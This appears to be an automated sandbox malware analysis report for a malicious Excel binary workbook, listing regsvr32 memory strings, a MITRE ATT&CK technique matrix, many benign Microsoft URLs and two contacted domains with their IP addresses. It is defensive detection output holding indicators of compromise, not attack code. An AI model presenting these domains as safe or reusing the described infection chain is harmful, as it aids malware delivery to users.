    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: regsvr32.exe, 00000003.00000002.682293552.0000000004910000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.684389690.00000000035D0000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
    Source: regsvr32.exe, 00000003.00000002.682293552.0000000004910000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.684389690.00000000035D0000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
    Source: regsvr32.exe, 00000003.00000002.682293552.0000000004910000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.684389690.00000000035D0000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
    Source: regsvr32.exe, 00000003.00000002.682293552.0000000004910000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.684389690.00000000035D0000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
    Source: Yara matchFile source: app.xml, type: SAMPLE

    Mitre Att&ck Matrix

    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
    Valid AccountsScripting2DLL Side-Loading1Process Injection1Masquerading1OS Credential DumpingSecurity Software Discovery1Remote ServicesData from Local SystemExfiltration Over Other Network MediumEncrypted Channel2Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
    Default AccountsExploitation for Client Execution23Boot or Logon Initialization ScriptsDLL Side-Loading1Disable or Modify Tools1LSASS MemoryFile and Directory Discovery1Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothNon-Application Layer Protocol1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
    Domain AccountsAt (Linux)Logon Script (Windows)Extra Window Memory Injection1Process Injection1Security Account ManagerSystem Information Discovery2SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationApplication Layer Protocol2Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
    Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Scripting2NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
    Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptRegsvr321LSA SecretsRemote System DiscoverySSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
    Replication Through Removable MediaLaunchdRc.commonRc.commonDLL Side-Loading1Cached Domain CredentialsSystem Owner/User DiscoveryVNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
    External Remote ServicesScheduled TaskStartup ItemsStartup ItemsExtra Window Memory Injection1DCSyncNetwork SniffingWindows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.

    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    No Antivirus matches

    Dropped Files

    No Antivirus matches

    Unpacked PE Files

    No Antivirus matches

    Domains

    No Antivirus matches

    URLs

    SourceDetectionScannerLabelLink
    https://cdn.entity.0%URL Reputationsafe
    https://cdn.entity.0%URL Reputationsafe
    https://cdn.entity.0%URL Reputationsafe
    https://powerlift.acompli.net0%URL Reputationsafe
    https://powerlift.acompli.net0%URL Reputationsafe
    https://powerlift.acompli.net0%URL Reputationsafe
    https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
    https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
    https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
    https://cortana.ai0%URL Reputationsafe
    https://cortana.ai0%URL Reputationsafe
    https://cortana.ai0%URL Reputationsafe
    https://api.aadrm.com/0%URL Reputationsafe
    https://api.aadrm.com/0%URL Reputationsafe
    https://api.aadrm.com/0%URL Reputationsafe
    https://ofcrecsvcapi-int.azurewebsites.net/0%Avira URL Cloudsafe
    https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
    https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
    https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
    https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
    https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
    https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
    https://officeci.azurewebsites.net/api/0%Avira URL Cloudsafe
    https://store.office.cn/addinstemplate0%URL Reputationsafe
    https://store.office.cn/addinstemplate0%URL Reputationsafe
    https://store.office.cn/addinstemplate0%URL Reputationsafe
    https://store.officeppe.com/addinstemplate0%URL Reputationsafe
    https://store.officeppe.com/addinstemplate0%URL Reputationsafe
    https://store.officeppe.com/addinstemplate0%URL Reputationsafe
    https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
    https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
    https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
    https://www.odwebp.svc.ms0%URL Reputationsafe
    https://www.odwebp.svc.ms0%URL Reputationsafe
    https://www.odwebp.svc.ms0%URL Reputationsafe
    https://dataservice.o365filtering.com/0%URL Reputationsafe
    https://dataservice.o365filtering.com/0%URL Reputationsafe
    https://dataservice.o365filtering.com/0%URL Reputationsafe
    https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
    https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
    https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
    https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
    https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
    https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
    https://ncus.contentsync.0%URL Reputationsafe
    https://ncus.contentsync.0%URL Reputationsafe
    https://ncus.contentsync.0%URL Reputationsafe
    https://apis.live.net/v5.0/0%URL Reputationsafe
    https://apis.live.net/v5.0/0%URL Reputationsafe
    https://apis.live.net/v5.0/0%URL Reputationsafe
    https://wus2.contentsync.0%URL Reputationsafe
    https://wus2.contentsync.0%URL Reputationsafe
    https://wus2.contentsync.0%URL Reputationsafe
    https://asgsmsproxyapi.azurewebsites.net/0%Avira URL Cloudsafe
    https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
    https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
    https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
    https://ncus.pagecontentsync.0%URL Reputationsafe
    https://ncus.pagecontentsync.0%URL Reputationsafe
    https://ncus.pagecontentsync.0%URL Reputationsafe
    https://skyapi.live.net/Activity/0%URL Reputationsafe
    https://skyapi.live.net/Activity/0%URL Reputationsafe
    https://skyapi.live.net/Activity/0%URL Reputationsafe
    https://dataservice.o365filtering.com0%URL Reputationsafe
    https://dataservice.o365filtering.com0%URL Reputationsafe
    https://dataservice.o365filtering.com0%URL Reputationsafe
    https://api.cortana.ai0%URL Reputationsafe
    https://api.cortana.ai0%URL Reputationsafe
    https://api.cortana.ai0%URL Reputationsafe
    https://ovisualuiapp.azurewebsites.net/pbiagave/0%Avira URL Cloudsafe
    https://directory.services.0%URL Reputationsafe
    https://directory.services.0%URL Reputationsafe
    https://directory.services.0%URL Reputationsafe
    https://staging.cortana.ai0%URL Reputationsafe
    https://staging.cortana.ai0%URL Reputationsafe
    https://staging.cortana.ai0%URL Reputationsafe

    Domains and IPs

    Contacted Domains

    NameIPActiveMaliciousAntivirus DetectionReputation
    dreamhimalayan.com
    192.185.113.120
    truefalse
      unknown
      forfacks.com
      192.185.48.167
      truefalse
        unknown

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        https://api.diagnosticssdf.office.comAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
          high
          https://login.microsoftonline.com/AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
            high
            https://shell.suite.office.com:1443AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
              high
              https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorizeAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                high
                https://autodiscover-s.outlook.com/AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                  high
                  https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=FlickrAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                    high
                    https://cdn.entity.AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    unknown
                    https://api.addins.omex.office.net/appinfo/queryAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                      high
                      https://clients.config.office.net/user/v1.0/tenantassociationkeyAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                        high
                        https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                          high
                          https://powerlift.acompli.netAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                          • URL Reputation: safe
                          • URL Reputation: safe
                          • URL Reputation: safe
                          unknown
                          https://rpsticket.partnerservices.getmicrosoftkey.comAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                          • URL Reputation: safe
                          • URL Reputation: safe
                          • URL Reputation: safe
                          unknown
                          https://lookup.onenote.com/lookup/geolocation/v1AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                            high
                            https://cortana.aiAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                            • URL Reputation: safe
                            • URL Reputation: safe
                            • URL Reputation: safe
                            unknown
                            https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                              high
                              https://cloudfiles.onenote.com/upload.aspxAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                high
                                https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFileAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                  high
                                  https://entitlement.diagnosticssdf.office.comAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                    high
                                    https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicyAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                      high
                                      https://api.aadrm.com/AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      unknown
                                      https://ofcrecsvcapi-int.azurewebsites.net/AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                      • Avira URL Cloud: safe
                                      unknown
                                      https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPoliciesAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                        high
                                        https://api.microsoftstream.com/api/AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                          high
                                          https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=ImmersiveAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                            high
                                            https://cr.office.comAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                              high
                                              https://portal.office.com/account/?ref=ClientMeControlAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                high
                                                https://ecs.office.com/config/v2/OfficeAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                  high
                                                  https://graph.ppe.windows.netAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                    high
                                                    https://res.getmicrosoftkey.com/api/redemptioneventsAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                    • URL Reputation: safe
                                                    • URL Reputation: safe
                                                    • URL Reputation: safe
                                                    unknown
                                                    https://powerlift-frontdesk.acompli.netAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                    • URL Reputation: safe
                                                    • URL Reputation: safe
                                                    • URL Reputation: safe
                                                    unknown
                                                    https://tasks.office.comAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                      high
                                                      https://officeci.azurewebsites.net/api/AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                      • Avira URL Cloud: safe
                                                      unknown
                                                      https://sr.outlook.office.net/ws/speech/recognize/assistant/workAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                        high
                                                        https://store.office.cn/addinstemplateAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        unknown
                                                        https://outlook.office.com/autosuggest/api/v1/init?cvid=AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                          high
                                                          https://globaldisco.crm.dynamics.comAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                            high
                                                            https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                              high
                                                              https://store.officeppe.com/addinstemplateAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              unknown
                                                              https://dev0-api.acompli.net/autodetectAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              unknown
                                                              https://www.odwebp.svc.msAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              unknown
                                                              https://api.powerbi.com/v1.0/myorg/groupsAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                high
                                                                https://web.microsoftstream.com/video/AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                  high
                                                                  https://graph.windows.netAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                    high
                                                                    https://dataservice.o365filtering.com/AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                    • URL Reputation: safe
                                                                    • URL Reputation: safe
                                                                    • URL Reputation: safe
                                                                    unknown
                                                                    https://officesetup.getmicrosoftkey.comAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                    • URL Reputation: safe
                                                                    • URL Reputation: safe
                                                                    • URL Reputation: safe
                                                                    unknown
                                                                    https://analysis.windows.net/powerbi/apiAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                      high
                                                                      https://prod-global-autodetect.acompli.net/autodetectAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                      • URL Reputation: safe
                                                                      • URL Reputation: safe
                                                                      • URL Reputation: safe
                                                                      unknown
                                                                      https://outlook.office365.com/autodiscover/autodiscover.jsonAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                        high
                                                                        https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-iosAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                          high
                                                                          https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                            high
                                                                            https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.jsonAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                              high
                                                                              https://ncus.contentsync.AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                              • URL Reputation: safe
                                                                              • URL Reputation: safe
                                                                              • URL Reputation: safe
                                                                              unknown
                                                                              https://onedrive.live.com/about/download/?windows10SyncClientInstalled=falseAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                high
                                                                                https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                  high
                                                                                  http://weather.service.msn.com/data.aspxAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                    high
                                                                                    https://apis.live.net/v5.0/AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                    • URL Reputation: safe
                                                                                    • URL Reputation: safe
                                                                                    • URL Reputation: safe
                                                                                    unknown
                                                                                    https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asksAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                      high
                                                                                      https://word.uservoice.com/forums/304948-word-for-ipad-iphone-iosAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                        high
                                                                                        https://autodiscover-s.outlook.com/autodiscover/autodiscover.xmlAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                          high
                                                                                          https://management.azure.comAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                            high
                                                                                            https://wus2.contentsync.AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                            • URL Reputation: safe
                                                                                            • URL Reputation: safe
                                                                                            • URL Reputation: safe
                                                                                            unknown
                                                                                            https://incidents.diagnostics.office.comAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                              high
                                                                                              https://clients.config.office.net/user/v1.0/iosAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                high
                                                                                                https://insertmedia.bing.office.net/odc/insertmediaAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                  high
                                                                                                  https://o365auditrealtimeingestion.manage.office.comAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                    high
                                                                                                    https://outlook.office365.com/api/v1.0/me/ActivitiesAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                      high
                                                                                                      https://api.office.netAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                        high
                                                                                                        https://incidents.diagnosticssdf.office.comAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                          high
                                                                                                          https://asgsmsproxyapi.azurewebsites.net/AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                          • Avira URL Cloud: safe
                                                                                                          unknown
                                                                                                          https://clients.config.office.net/user/v1.0/android/policiesAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                            high
                                                                                                            https://entitlement.diagnostics.office.comAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                              high
                                                                                                              https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.jsonAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                high
                                                                                                                https://outlook.office.com/AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                  high
                                                                                                                  https://storage.live.com/clientlogs/uploadlocationAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                    high
                                                                                                                    https://templatelogging.office.com/client/logAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                      high
                                                                                                                      https://outlook.office365.com/AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                        high
                                                                                                                        https://webshell.suite.office.comAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                          high
                                                                                                                          https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDriveAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                            high
                                                                                                                            https://management.azure.com/AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                              high
                                                                                                                              https://login.windows.net/common/oauth2/authorizeAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                                high
                                                                                                                                https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFileAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                                • URL Reputation: safe
                                                                                                                                • URL Reputation: safe
                                                                                                                                • URL Reputation: safe
                                                                                                                                unknown
                                                                                                                                https://graph.windows.net/AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                                  high
                                                                                                                                  https://api.powerbi.com/beta/myorg/importsAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                                    high
                                                                                                                                    https://devnull.onenote.comAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                                      high
                                                                                                                                      https://ncus.pagecontentsync.AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                                      • URL Reputation: safe
                                                                                                                                      • URL Reputation: safe
                                                                                                                                      • URL Reputation: safe
                                                                                                                                      unknown
                                                                                                                                      https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.jsonAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                                        high
                                                                                                                                        https://messaging.office.com/AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                                          high
                                                                                                                                          https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFileAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                                            high
                                                                                                                                            https://augloop.office.com/v2AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                                              high
                                                                                                                                              https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=BingAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                                                high
                                                                                                                                                https://skyapi.live.net/Activity/AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                unknown
                                                                                                                                                https://clients.config.office.net/user/v1.0/macAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                                                  high
                                                                                                                                                  https://dataservice.o365filtering.comAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  unknown
                                                                                                                                                  https://api.cortana.aiAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  unknown
                                                                                                                                                  https://onedrive.live.comAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                                                    high
                                                                                                                                                    https://ovisualuiapp.azurewebsites.net/pbiagave/AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                                                    • Avira URL Cloud: safe
                                                                                                                                                    unknown
                                                                                                                                                    https://visio.uservoice.com/forums/368202-visio-on-devicesAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                                                      high
                                                                                                                                                      https://directory.services.AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                                                      • URL Reputation: safe
                                                                                                                                                      • URL Reputation: safe
                                                                                                                                                      • URL Reputation: safe
                                                                                                                                                      unknown
                                                                                                                                                      https://login.windows-ppe.net/common/oauth2/authorizeAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                                                        high
                                                                                                                                                        https://staging.cortana.aiAA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drfalse
                                                                                                                                                        • URL Reputation: safe
                                                                                                                                                        • URL Reputation: safe
                                                                                                                                                        • URL Reputation: safe
                                                                                                                                                        unknown

                                                                                                                                                        Contacted IPs

                                                                                                                                                        • No. of IPs < 25%
                                                                                                                                                        • 25% < No. of IPs < 50%
                                                                                                                                                        • 50% < No. of IPs < 75%
                                                                                                                                                        • 75% < No. of IPs

                                                                                                                                                        Public

                                                                                                                                                        IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                        192.185.48.167
                                                                                                                                                        forfacks.comUnited States
                                                                                                                                                        46606UNIFIEDLAYER-AS-1USfalse
                                                                                                                                                        192.185.113.120
                                                                                                                                                        dreamhimalayan.comUnited States
                                                                                                                                                        46606UNIFIEDLAYER-AS-1USfalse

                                                                                                                                                        General Information

                                                                                                                                                        Joe Sandbox Version:32.0.0 Black Diamond
                                                                                                                                                        Analysis ID:432040
                                                                                                                                                        Start date:09.06.2021
                                                                                                                                                        Start time:17:16:11
                                                                                                                                                        Joe Sandbox Product:CloudBasic
                                                                                                                                                        Overall analysis duration:0h 5m 42s
                                                                                                                                                        Hypervisor based Inspection enabled:false
                                                                                                                                                        Report type:full
                                                                                                                                                        Sample file name:DEMLwnv0Nt.xlsb
                                                                                                                                                        Cookbook file name:defaultwindowsofficecookbook.jbs
